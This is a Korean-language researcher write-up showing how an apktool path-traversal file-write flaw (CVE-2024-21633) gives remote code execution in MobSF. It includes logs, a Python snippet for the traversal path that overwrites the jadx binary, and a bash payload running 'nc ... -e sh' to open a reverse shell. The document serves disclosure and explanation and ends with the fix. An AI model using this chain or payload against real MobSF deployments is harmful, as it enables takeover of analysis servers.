
MobSF 원격 코드 실행 (CVE-2024-21633을 통한)
저는 apktool에서 임의 파일 쓰기 취약점을 발견하여 github security advisory를 통해 보고했습니다. 많은 프로젝트가 apktool에 의존하고 있다는 것을 알고 있었지만, advisory 게시와 수정 이후에도 많은 프로젝트가 이를 인지하거나 신경 쓰지 않는 것 같았습니다. 그래서 큰 의존 프로젝트 일부에서 그 영향과 익스플로잇 가능성을 확인하기로 결정했고, MobSF부터 시작했습니다.
이 취약점을 통해 "${decode target path}/res/"에 대한 상대 경로에任意 파일을 쓸 수 있습니다. 가장 큰 영향은 RCE를 얻는 것입니다. 하지만 문제가 있습니다. 작성된 파일은 실행 파일이 아닙니다.
본격적으로 들어가기 전에 두 가지 아이디어가 있었습니다.
하지만 만약 파일의 권한을 실행 가능으로 변경하는 앱을 발견할 만큼 운이 좋다면? 그리고 이후에 실행까지 될 만큼 더 운이 좋다면? 이 모든 것이 apktool 실행 이후에 발생해야 합니다. 이것이 바로 MobSF의 상황입니다. MobSF는 정적 분석의 일부로 jadx를 사용하며, subprocess를 통해 jadx를 호출하지만, 그 직전에 jadx의 권한을 실행 가능으로 변경합니다.
apktool, chmod, jadx가 각각 호출되는 로그 발췌:
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk
jadx를 타겟으로 사용할 것이지만, jadx의 res 폴더에 대한 상대 경로가 필요합니다. 이는 Python 함수에서 os.path.relpath()를 사용하여 얻을 수 있습니다.
리소스 기본 폴더는 "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"입니다. 다음 경로의 jadx 바이너리를 덮어쓰려고 합니다: "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'
우리의 페이로드는 res/raw/jadx에 위치할 것입니다.
#!/bin/bash
nc host.docker.internal 9001 -e sh
리소스 이름은 "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"가 됩니다.
APK를 업로드하고 jadx가 실행될 때까지 기다리면, nc 리스너에서 셸을 얻을 수 있습니다.
성공!

그런 다음 이메일로 MobSF 팀에 이 문제를 보고했고, 신속한 답변을 받았으며, 그들은 최신 apktool 버전으로 업데이트하여 수정했습니다. 하지만 jadx를 실행 가능하게 만들고 이후에 실행하는 동작은 여전히 남아 있습니다. 차라리 권한을 미리 고정해두고 디렉토리를 쓰기 불가능하게 유지하는 것이 좋을 것 같습니다.
더 많은 내용을 보려면 팔로우하세요! @0x33c0unt